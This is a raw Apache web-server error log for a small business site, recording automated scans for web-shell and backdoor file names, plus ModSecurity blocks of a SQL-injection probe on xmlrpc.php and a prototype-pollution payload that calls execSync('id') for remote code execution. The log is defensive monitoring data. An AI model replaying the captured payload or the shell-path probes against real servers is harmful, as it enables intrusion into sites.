/home/coldtecp/public_html/new.php, referer: https://www.bing.com/ [Sun Dec 07 19:31:09.242161 2025] [:error] [pid 13390:tid 13418] [client 4.230.26.9:46568] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.com/ [Sun Dec 07 19:31:11.214615 2025] [:error] [pid 13391:tid 13448] [client 4.230.26.9:46582] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.de/ [Sun Dec 07 19:31:13.367720 2025] [:error] [pid 13391:tid 13424] [client 4.230.26.9:46602] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.com/ [Sun Dec 07 19:31:21.056502 2025] [:error] [pid 13390:tid 13398] [client 4.230.26.9:46660] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://duckduckgo.com/ [Sun Dec 07 19:31:27.206714 2025] [:error] [pid 13392:tid 13461] [client 4.230.26.9:46712] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.bing.com/ [Sun Dec 07 19:31:27.408082 2025] [:error] [pid 13392:tid 13457] [client 4.230.26.9:46714] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.google.co.uk/ [Sun Dec 07 19:31:27.804782 2025] [:error] [pid 13392:tid 13468] [client 4.230.26.9:46716] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.bing.com/ [Sun Dec 07 22:09:11.231050 2025] [:error] [pid 13391:tid 13437] [client 20.247.3.46:59690] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://duckduckgo.com/ [Sun Dec 07 22:09:11.456753 2025] [:error] [pid 13390:tid 13409] [client 20.247.3.46:59692] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.yahoo.com/ [Sun Dec 07 22:09:11.683149 2025] [:error] [pid 13392:tid 13462] [client 20.247.3.46:59696] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.yahoo.com/ [Sun Dec 07 22:09:11.908991 2025] [:error] [pid 13663:tid 13679] [client 20.247.3.46:59700] File does not exist: /home/coldtecp/public_html/1.php, referer: https://duckduckgo.com/ [Sun Dec 07 22:09:12.134740 2025] [:error] [pid 13392:tid 13464] [client 20.247.3.46:59702] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.co.uk/ [Sun Dec 07 22:09:12.360468 2025] [:error] [pid 13663:tid 13668] [client 20.247.3.46:59704] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.fr/ [Sun Dec 07 22:09:12.585917 2025] [:error] [pid 13663:tid 13685] [client 20.247.3.46:59706] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.bing.com/ [Sun Dec 07 22:09:13.038283 2025] [:error] [pid 13663:tid 13683] [client 20.247.3.46:59710] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.bing.com/ [Sun Dec 07 22:09:13.264322 2025] [:error] [pid 13663:tid 13671] [client 20.247.3.46:59712] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.fr/ [Sun Dec 07 22:09:13.489538 2025] [:error] [pid 13663:tid 13677] [client 20.247.3.46:59714] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.de/ [Sun Dec 07 22:09:13.715353 2025] [:error] [pid 13392:tid 13470] [client 20.247.3.46:59716] File does not exist: /home/coldtecp/public_html/api.php, referer: https://duckduckgo.com/ [Sun Dec 07 22:09:14.246938 2025] [:error] [pid 13390:tid 13415] [client 20.247.3.46:59720] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.google.de/ [Sun Dec 07 22:09:14.697849 2025] [:error] [pid 13390:tid 13408] [client 20.247.3.46:59724] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://www.google.de/ [Sun Dec 07 22:09:14.923674 2025] [:error] [pid 13390:tid 13402] [client 20.247.3.46:59726] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.yahoo.com/ [Sun Dec 07 22:09:15.149704 2025] [:error] [pid 13663:tid 13673] [client 20.247.3.46:59732] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.de/ [Sun Dec 07 22:09:15.375565 2025] [:error] [pid 13392:tid 13443] [client 20.247.3.46:59734] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://duckduckgo.com/ [Sun Dec 07 22:09:15.604757 2025] [:error] [pid 13392:tid 13472] [client 20.247.3.46:59736] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.google.com/ [Sun Dec 07 22:09:15.830553 2025] [:error] [pid 13392:tid 13468] [client 20.247.3.46:59738] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.fr/ [Sun Dec 07 22:09:16.056331 2025] [:error] [pid 13392:tid 13474] [client 20.247.3.46:59740] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.yahoo.com/ [Sun Dec 07 22:09:16.508066 2025] [:error] [pid 13392:tid 13449] [client 20.247.3.46:59744] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://duckduckgo.com/ [Sun Dec 07 22:09:16.735063 2025] [:error] [pid 13663:tid 13669] [client 20.247.3.46:59746] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://duckduckgo.com/ [Sun Dec 07 22:09:16.960646 2025] [:error] [pid 13390:tid 13413] [client 20.247.3.46:59748] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.bing.com/ [Sun Dec 07 22:09:17.186105 2025] [:error] [pid 13663:tid 13684] [client 20.247.3.46:59750] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.co.uk/ [Sun Dec 07 22:09:17.416191 2025] [:error] [pid 13663:tid 13680] [client 20.247.3.46:59752] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.de/ [Sun Dec 07 22:09:18.094778 2025] [:error] [pid 13390:tid 13399] [client 20.247.3.46:59758] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.co.uk/ [Sun Dec 07 22:09:18.320206 2025] [:error] [pid 13390:tid 13412] [client 20.247.3.46:59760] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.de/ [Sun Dec 07 22:09:18.772140 2025] [:error] [pid 13391:tid 13436] [client 20.247.3.46:59764] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.google.fr/ [Sun Dec 07 22:09:19.223691 2025] [:error] [pid 13390:tid 13416] [client 20.247.3.46:59768] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.bing.com/ [Sun Dec 07 22:09:19.900877 2025] [:error] [pid 13663:tid 13688] [client 20.247.3.46:59774] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.co.uk/ [Sun Dec 07 22:09:20.126580 2025] [:error] [pid 13663:tid 13681] [client 20.247.3.46:59776] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.de/ [Sun Dec 07 22:09:20.577483 2025] [:error] [pid 13663:tid 13678] [client 20.247.3.46:59782] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.com/ [Sun Dec 07 22:09:21.032867 2025] [:error] [pid 13663:tid 13667] [client 20.247.3.46:59788] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.de/ [Sun Dec 07 22:09:21.262137 2025] [:error] [pid 13663:tid 13686] [client 20.247.3.46:59790] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.co.uk/ [Sun Dec 07 22:09:21.487897 2025] [:error] [pid 13663:tid 13689] [client 20.247.3.46:59792] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.fr/ [Sun Dec 07 22:09:22.164936 2025] [:error] [pid 13663:tid 13666] [client 20.247.3.46:59798] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.fr/ [Sun Dec 07 22:09:22.846887 2025] [:error] [pid 13663:tid 13685] [client 20.247.3.46:59804] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.yahoo.com/ [Sun Dec 07 22:09:24.431113 2025] [:error] [pid 13390:tid 13404] [client 20.247.3.46:59818] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.yahoo.com/ [Sun Dec 07 22:09:26.242852 2025] [:error] [pid 13391:tid 13450] [client 20.247.3.46:59838] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.fr/ [Sun Dec 07 22:09:31.886739 2025] [:error] [pid 13663:tid 13680] [client 20.247.3.46:59894] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.google.de/ [Sun Dec 07 22:09:37.350294 2025] [:error] [pid 13663:tid 13669] [client 20.247.3.46:59946] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://duckduckgo.com/ [Sun Dec 07 22:09:37.576304 2025] [:error] [pid 13663:tid 13675] [client 20.247.3.46:59948] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.bing.com/ [Sun Dec 07 22:09:37.801888 2025] [:error] [pid 13390:tid 13416] [client 20.247.3.46:59950] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://duckduckgo.com/ [Mon Dec 08 05:09:32.867334 2025] [:error] [pid 5406:tid 5490] [client 20.58.147.220:33266] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:09:33.069318 2025] [:error] [pid 5406:tid 5467] [client 20.58.147.220:33268] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:09:33.281346 2025] [:error] [pid 5406:tid 5468] [client 20.58.147.220:33270] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.com/ [Mon Dec 08 05:09:33.554900 2025] [:error] [pid 5877:tid 5885] [client 20.58.147.220:33276] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:09:33.829304 2025] [:error] [pid 5877:tid 5884] [client 20.58.147.220:33278] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://duckduckgo.com/ [Mon Dec 08 05:09:34.076388 2025] [:error] [pid 5405:tid 5424] [client 20.58.147.220:33280] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.com/ [Mon Dec 08 05:09:34.322189 2025] [:error] [pid 5877:tid 5901] [client 20.58.147.220:33282] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.google.com/ [Mon Dec 08 05:09:34.786541 2025] [:error] [pid 5407:tid 5449] [client 20.58.147.220:33286] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://duckduckgo.com/ [Mon Dec 08 05:09:35.008651 2025] [:error] [pid 5407:tid 5464] [client 20.58.147.220:33288] File does not exist: /home/coldtecp/public_html/adminfuns.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:35.211249 2025] [:error] [pid 5877:tid 5898] [client 20.58.147.220:33290] File does not exist: /home/coldtecp/public_html/alfa.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:35.464612 2025] [:error] [pid 5877:tid 5879] [client 20.58.147.220:33292] File does not exist: /home/coldtecp/public_html/api.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:35.914472 2025] [:error] [pid 5877:tid 5892] [client 20.58.147.220:33296] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Mon Dec 08 05:09:36.398481 2025] [:error] [pid 5877:tid 5900] [client 20.58.147.220:33300] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://duckduckgo.com/ [Mon Dec 08 05:09:36.600574 2025] [:error] [pid 5407:tid 5460] [client 20.58.147.220:33302] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.com/ [Mon Dec 08 05:09:36.878269 2025] [:error] [pid 5407:tid 5446] [client 20.58.147.220:33304] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:37.126257 2025] [:error] [pid 5406:tid 5477] [client 20.58.147.220:33306] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:37.439032 2025] [:error] [pid 5406:tid 5475] [client 20.58.147.220:33308] File does not exist: /home/coldtecp/public_html/info.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:09:37.699569 2025] [:error] [pid 5877:tid 5889] [client 20.58.147.220:33310] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.bing.com/ [Mon Dec 08 05:09:37.911433 2025] [:error] [pid 5877:tid 5903] [client 20.58.147.220:33312] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:09:38.427967 2025] [:error] [pid 5877:tid 5890] [client 20.58.147.220:33316] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.bing.com/ [Mon Dec 08 05:09:38.697975 2025] [:error] [pid 5877:tid 5888] [client 20.58.147.220:33318] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:38.959829 2025] [:error] [pid 5877:tid 5895] [client 20.58.147.220:33320] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://duckduckgo.com/ [Mon Dec 08 05:09:39.162037 2025] [:error] [pid 5877:tid 5887] [client 20.58.147.220:33322] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.google.com/ [Mon Dec 08 05:09:39.372153 2025] [:error] [pid 5877:tid 5893] [client 20.58.147.220:33324] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.bing.com/ [Mon Dec 08 05:09:40.068988 2025] [:error] [pid 5877:tid 5880] [client 20.58.147.220:33330] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:40.310956 2025] [:error] [pid 5877:tid 5882] [client 20.58.147.220:33332] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:40.731968 2025] [:error] [pid 5877:tid 5894] [client 20.58.147.220:33336] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:09:41.152387 2025] [:error] [pid 5877:tid 5896] [client 20.58.147.220:33340] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://www.google.com/ [Mon Dec 08 05:09:41.922100 2025] [:error] [pid 5407:tid 5459] [client 20.58.147.220:33346] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.co.uk/ [Mon Dec 08 05:09:42.124273 2025] [:error] [pid 5407:tid 5444] [client 20.58.147.220:33348] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.com/ [Mon Dec 08 05:09:42.621921 2025] [:error] [pid 5877:tid 5885] [client 20.58.147.220:33352] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.com/ [Mon Dec 08 05:09:43.144233 2025] [:error] [pid 5877:tid 5901] [client 20.58.147.220:33356] File does not exist: /home/coldtecp/public_html/new.php, referer: https://duckduckgo.com/ [Mon Dec 08 05:09:43.393643 2025] [:error] [pid 5405:tid 5426] [client 20.58.147.220:33358] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.de/ [Mon Dec 08 05:09:43.620297 2025] [:error] [pid 5877:tid 5898] [client 20.58.147.220:33360] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.com/ [Mon Dec 08 05:09:44.385752 2025] [:error] [pid 5877:tid 5892] [client 20.58.147.220:33366] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.co.uk/ [Mon Dec 08 05:09:45.190570 2025] [:error] [pid 5877:tid 5900] [client 20.58.147.220:33372] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.fr/ [Mon Dec 08 05:09:46.913362 2025] [:error] [pid 5406:tid 5470] [client 20.58.147.220:33386] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.co.uk/ [Mon Dec 08 05:09:48.939898 2025] [:error] [pid 5877:tid 5888] [client 20.58.147.220:33410] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.google.co.uk/ [Mon Dec 08 05:09:55.465327 2025] [:error] [pid 5877:tid 5899] [client 20.58.147.220:33468] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:10:05.963278 2025] [:error] [pid 5407:tid 5452] [client 20.58.147.220:33528] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.yahoo.com/ [Mon Dec 08 05:10:06.165511 2025] [:error] [pid 5407:tid 5443] [client 20.58.147.220:33530] File does not exist: /home/coldtecp/public_html/x.php, referer: https://www.google.co.uk/ [Mon Dec 08 05:10:12.637973 2025] [:error] [pid 5407:tid 5451] [client 20.58.147.220:33532] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.yahoo.com/ [Mon Dec 08 06:28:42.973210 2025] [:error] [pid 5406:tid 5484] [client 45.144.53.78:37916] [client 45.144.53.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:\\\\b(?:(?:s(?:t(?:d(?:dev(_pop|_samp)?)?|r(?:_to_date|cmp))|u(?:b(?:str(?:ing(_index)?)?|(?:dat|tim)e)|m)|e(?:c(?:_to_time|ond)|ssion_user)|ys(?:tem_user|date)|ha(1|2)?|oundex|chema|ig?n|pace|qrt)|i(?:s(null|_(free_lock|ipv4_compat|ipv4_mapped|ipv4| ..." at ARGS:0. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "125"] [id "950001"] [rev "2"] [msg "SQL Injection Attack"] [data "Matched Data: trim( found within ARGS:0: {\\x22_response\\x22:{\\x22_formData\\x22:{\\x22get\\x22:\\x22$1:constructor:constructor\\x22},\\x22_prefix\\x22:\\x22var res = process.mainModule.require('child_process').execSync('id',{timeout:7000}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {digest: `${res}`});\\x22},\\x22reason\\x22:-1,\\x22status\\x22:\\x22resolved_model\\x22,\\x22then\\x22:\\x22$1:__proto__:then\\x22,\\x22value\\x22:\\x22{\\x5c\\x22then\\x5c\\x22: \\x5c\\x22$B0\\x5c\\x22}\\x22}"] [severity "CRITICAL"] [ver "OWAS [hostname "coldtecperu.com"] [uri "/"] [unique_id "aTa2ameOrmStGv5H1KcD0AAAAFI"] [Mon Dec 08 11:52:30.753073 2025] [:error] [pid 5877:tid 5893] [client 4.194.58.148:33082] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:52:30.998198 2025] [:error] [pid 25728:tid 25742] [client 4.194.58.148:33086] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.google.com/ [Mon Dec 08 11:52:31.264544 2025] [:error] [pid 5407:tid 5449] [client 4.194.58.148:33088] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/index.php, referer: https://www.google.fr/ [Mon Dec 08 11:52:31.540063 2025] [:error] [pid 5406:tid 5478] [client 4.194.58.148:33090] File does not exist: /home/coldtecp/public_html/1.php, referer: https://www.google.com/ [Mon Dec 08 11:52:31.796758 2025] [:error] [pid 25596:tid 25615] [client 4.194.58.148:33092] File does not exist: /home/coldtecp/public_html/Sanskrit.php, referer: https://www.yahoo.com/ [Mon Dec 08 11:52:32.082626 2025] [:error] [pid 25596:tid 25600] [client 4.194.58.148:33094] File does not exist: /home/coldtecp/public_html/aa.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:52:32.367471 2025] [:error] [pid 25596:tid 25599] [client 4.194.58.148:33096] File does not exist: /home/coldtecp/public_html/about.php, referer: https://www.yahoo.com/ [Mon Dec 08 11:52:32.635186 2025] [:error] [pid 25596:tid 25610] [client 4.194.58.148:33098] File does not exist: /home/coldtecp/public_html/admin.php, referer: https://www.google.com/ [Mon Dec 08 11:52:32.917256 2025] [:error] [pid 5407:tid 5461] [client 4.194.58.148:33100] File does not exist: /home/coldtecp/public_html/ahax.php, referer: https://www.bing.com/ [Mon Dec 08 11:52:33.732351 2025] [:error] [pid 25728:tid 25754] [client 4.194.58.148:33106] File does not exist: /home/coldtecp/public_html/av.php, referer: https://www.google.com/ [Mon Dec 08 11:52:33.991412 2025] [:error] [pid 5405:tid 5424] [client 4.194.58.148:33108] File does not exist: /home/coldtecp/public_html/bless.php, referer: https://www.bing.com/ [Mon Dec 08 11:52:34.283537 2025] [:error] [pid 25596:tid 25603] [client 4.194.58.148:33110] File does not exist: /home/coldtecp/public_html/buy.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:52:34.532417 2025] [:error] [pid 25596:tid 25602] [client 4.194.58.148:33112] File does not exist: /home/coldtecp/public_html/cc.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:52:34.831110 2025] [:error] [pid 25728:tid 25744] [client 4.194.58.148:33114] File does not exist: /home/coldtecp/public_html/chosen.php, referer: https://www.bing.com/ [Mon Dec 08 11:52:35.584723 2025] [:error] [pid 5877:tid 5891] [client 4.194.58.148:33124] File does not exist: /home/coldtecp/public_html/elp.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:52:35.888012 2025] [:error] [pid 5877:tid 5900] [client 4.194.58.148:33126] File does not exist: /home/coldtecp/public_html/file5.php, referer: https://www.bing.com/ [Mon Dec 08 11:52:41.593785 2025] [:error] [pid 5877:tid 5887] [client 4.194.58.148:33140] File does not exist: /home/coldtecp/public_html/goods.php, referer: https://www.bing.com/ [Mon Dec 08 11:52:42.444616 2025] [:error] [pid 25728:tid 25751] [client 4.194.58.148:33146] File does not exist: /home/coldtecp/public_html/inputs.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:52:42.701210 2025] [:error] [pid 25728:tid 25750] [client 4.194.58.148:33148] File does not exist: /home/coldtecp/public_html/install.php, referer: https://www.bing.com/ [Mon Dec 08 11:52:43.236783 2025] [:error] [pid 25728:tid 25753] [client 4.194.58.148:33152] File does not exist: /home/coldtecp/public_html/manager.php, referer: https://www.google.com/ [Mon Dec 08 11:52:43.527137 2025] [:error] [pid 25728:tid 25741] [client 4.194.58.148:33154] File does not exist: /home/coldtecp/public_html/mini.php, referer: https://www.google.de/ [Mon Dec 08 11:52:43.776850 2025] [:error] [pid 25728:tid 25735] [client 4.194.58.148:33156] File does not exist: /home/coldtecp/public_html/network.php, referer: https://www.google.fr/ [Mon Dec 08 11:52:44.021001 2025] [:error] [pid 25728:tid 25737] [client 4.194.58.148:33158] File does not exist: /home/coldtecp/public_html/options-reading.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:52:44.265674 2025] [:error] [pid 25728:tid 25736] [client 4.194.58.148:33160] File does not exist: /home/coldtecp/public_html/simple.php, referer: https://www.google.fr/ [Mon Dec 08 11:52:49.885623 2025] [:error] [pid 25596:tid 25604] [client 4.194.58.148:33174] File does not exist: /home/coldtecp/public_html/wp-blog.php, referer: https://www.google.com/ [Mon Dec 08 11:52:55.706307 2025] [:error] [pid 25728:tid 25748] [client 4.194.58.148:33196] File does not exist: /home/coldtecp/public_html/wp-editor.php, referer: https://www.bing.com/ [Mon Dec 08 11:52:55.981431 2025] [:error] [pid 25728:tid 25755] [client 4.194.58.148:33198] File does not exist: /home/coldtecp/public_html/wp-good.php, referer: https://www.bing.com/ [Mon Dec 08 11:53:13.706463 2025] [:error] [pid 25728:tid 25744] [client 4.194.58.148:33268] File does not exist: /home/coldtecp/public_html/wp-themes.php, referer: https://www.google.de/ [Mon Dec 08 11:53:13.950897 2025] [:error] [pid 25728:tid 25738] [client 4.194.58.148:33270] File does not exist: /home/coldtecp/public_html/wp-user.php, referer: https://www.google.com/ [Mon Dec 08 11:53:14.195298 2025] [:error] [pid 25728:tid 25743] [client 4.194.58.148:33272] File does not exist: /home/coldtecp/public_html/wp.php, referer: https://www.bing.com/ [Mon Dec 08 11:53:15.290564 2025] [:error] [pid 25728:tid 25751] [client 4.194.58.148:33274] File does not exist: /home/coldtecp/public_html/x.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:53:15.543972 2025] [:error] [pid 25728:tid 25750] [client 4.194.58.148:33276] File does not exist: /home/coldtecp/public_html/yas.php, referer: https://www.google.fr/ [Mon Dec 08 11:53:16.112347 2025] [:error] [pid 25728:tid 25745] [client 4.194.58.148:33278] File does not exist: /home/coldtecp/public_html/abcd.php, referer: https://www.google.de/ [Mon Dec 08 11:53:16.402150 2025] [:error] [pid 25728:tid 25753] [client 4.194.58.148:33280] File does not exist: /home/coldtecp/public_html/akcc.php, referer: https://www.google.de/ [Mon Dec 08 11:53:16.981385 2025] [:error] [pid 25728:tid 25741] [client 4.194.58.148:33282] File does not exist: /home/coldtecp/public_html/xmrlpc.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:53:17.412938 2025] [:error] [pid 25728:tid 25735] [client 4.194.58.148:33284] File does not exist: /home/coldtecp/public_html/xmlrpc.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:53:17.668769 2025] [:error] [pid 25728:tid 25737] [client 4.194.58.148:33286] File does not exist: /home/coldtecp/public_html/api.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:53:18.416206 2025] [:error] [pid 25728:tid 25749] [client 4.194.58.148:33292] File does not exist: /home/coldtecp/public_html/classwithtostring.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:53:18.660454 2025] [:error] [pid 25728:tid 25756] [client 4.194.58.148:33294] File does not exist: /home/coldtecp/public_html/cong.php, referer: https://www.google.de/ [Mon Dec 08 11:53:19.031365 2025] [:error] [pid 25728:tid 25748] [client 4.194.58.148:33296] File does not exist: /home/coldtecp/public_html/edit.php, referer: https://www.google.de/ [Mon Dec 08 11:53:19.275454 2025] [:error] [pid 25728:tid 25755] [client 4.194.58.148:33298] File does not exist: /home/coldtecp/public_html/new.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:53:19.577680 2025] [:error] [pid 5877:tid 5889] [client 4.194.58.148:33300] File does not exist: /home/coldtecp/public_html/NewFile.php, referer: https://www.google.com/ [Mon Dec 08 11:53:19.821614 2025] [:error] [pid 5407:tid 5460] [client 4.194.58.148:33302] File does not exist: /home/coldtecp/public_html/file.php, referer: https://www.yahoo.com/ [Mon Dec 08 11:53:20.066781 2025] [:error] [pid 5407:tid 5463] [client 4.194.58.148:33304] File does not exist: /home/coldtecp/public_html/gel4y.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:53:20.465003 2025] [:error] [pid 25596:tid 25618] [client 4.194.58.148:33306] File does not exist: /home/coldtecp/public_html/info.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:53:20.711560 2025] [:error] [pid 25596:tid 25609] [client 4.194.58.148:33308] File does not exist: /home/coldtecp/public_html/item.php, referer: https://www.bing.com/ [Mon Dec 08 11:53:20.957336 2025] [:error] [pid 25596:tid 25623] [client 4.194.58.148:33310] File does not exist: /home/coldtecp/public_html/ioxi-o.php, referer: https://www.google.com/ [Mon Dec 08 11:53:21.202920 2025] [:error] [pid 25596:tid 25615] [client 4.194.58.148:33312] File does not exist: /home/coldtecp/public_html/radio.php, referer: https://www.google.co.uk/ [Mon Dec 08 11:53:21.635720 2025] [:error] [pid 25596:tid 25600] [client 4.194.58.148:33314] File does not exist: /home/coldtecp/public_html/themes.php, referer: https://www.google.fr/ [Mon Dec 08 11:53:22.046502 2025] [:error] [pid 25596:tid 25599] [client 4.194.58.148:33316] File does not exist: /home/coldtecp/public_html/bolt.php, referer: https://duckduckgo.com/ [Mon Dec 08 11:53:22.290800 2025] [:error] [pid 25596:tid 25610] [client 4.194.58.148:33318] File does not exist: /home/coldtecp/public_html/wp-conflg.php, referer: https://www.google.de/ [Mon Dec 08 11:53:22.535236 2025] [:error] [pid 25596:tid 25603] [client 4.194.58.148:33320] File does not exist: /home/coldtecp/public_html/mah.php, referer: https://www.google.fr/ [Mon Dec 08 11:53:37.982791 2025] [:error] [pid 25728:tid 25739] [client 4.194.58.148:33438] File does not exist: /home/coldtecp/public_html/moon.php, referer: https://www.google.com/ 2025/12/08 11:53:45 [error] 5261#5261: *708031 directory index of "/usr/local/apache/autossl_tmp/.well-known/acme-challenge/" is forbidden, client: 4.194.58.148, server: coldtecperu.com, request: "GET /.well-known/acme-challenge/ HTTP/1.1", host: "coldtecperu.com", referrer: "https://www.bing.com/" [Mon Dec 08 14:46:16.198458 2025] [:error] [pid 5405:tid 5417] [client 82.26.162.19:41306] [client 82.26.162.19] ModSecurity: Access denied with code 403 (phase 2). Pattern match "(?i:(?:\\\\A|[^\\\\d])0x[a-f\\\\d]{3,}[a-f\\\\d]*)+" at XML. [file "/usr/local/apache/modsecurity-owasp-old/base_rules/modsecurity_crs_41_sql_injection_attacks.conf"] [line "55"] [id "981260"] [rev "2"] [msg "SQL Hex Encoding Identified"] [data "Matched Data: e0x1c8c5b6ade found within XML: metaWeblog.newPost1test01test01title0x1c8c5b6adescription0x1c8c5b6amt_keywords0x1c8c5b6amt_excerpt0x1c8c5b6a1"] [severity "CRITICAL"] [ver "OWASP_CRS/2.2.9"] [maturity "8"] [accuracy "8"] [tag "OWASP_CRS/WEB_ATTACK/SQL_INJECTION"] [tag "WASCTC/WASC-19"] [tag "OWASP_TOP_10/A1"] [tag "OWASP_AppSensor/CIE1"] [tag "PCI/6.5.2"] [hostname "coldtecperu.com"] [uri "/xmlrpc.php"] [unique_id "aTcrCIwRPpgps3YCkrxobQAAAAU"] [Mon Dec 08 17:13:18.760633 2025] [:error] [pid 5877:tid 5890] [client 4.189.112.79:52334] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/file.php, referer: https://www.bing.com/ [Mon Dec 08 17:13:19.467268 2025] [:error] [pid 5405:tid 5435] [client 4.189.112.79:52336] File does not exist: /usr/local/apache/autossl_tmp/.well-known/acme-challenge/wp-login.php, referer: https://www.yahoo.com/ 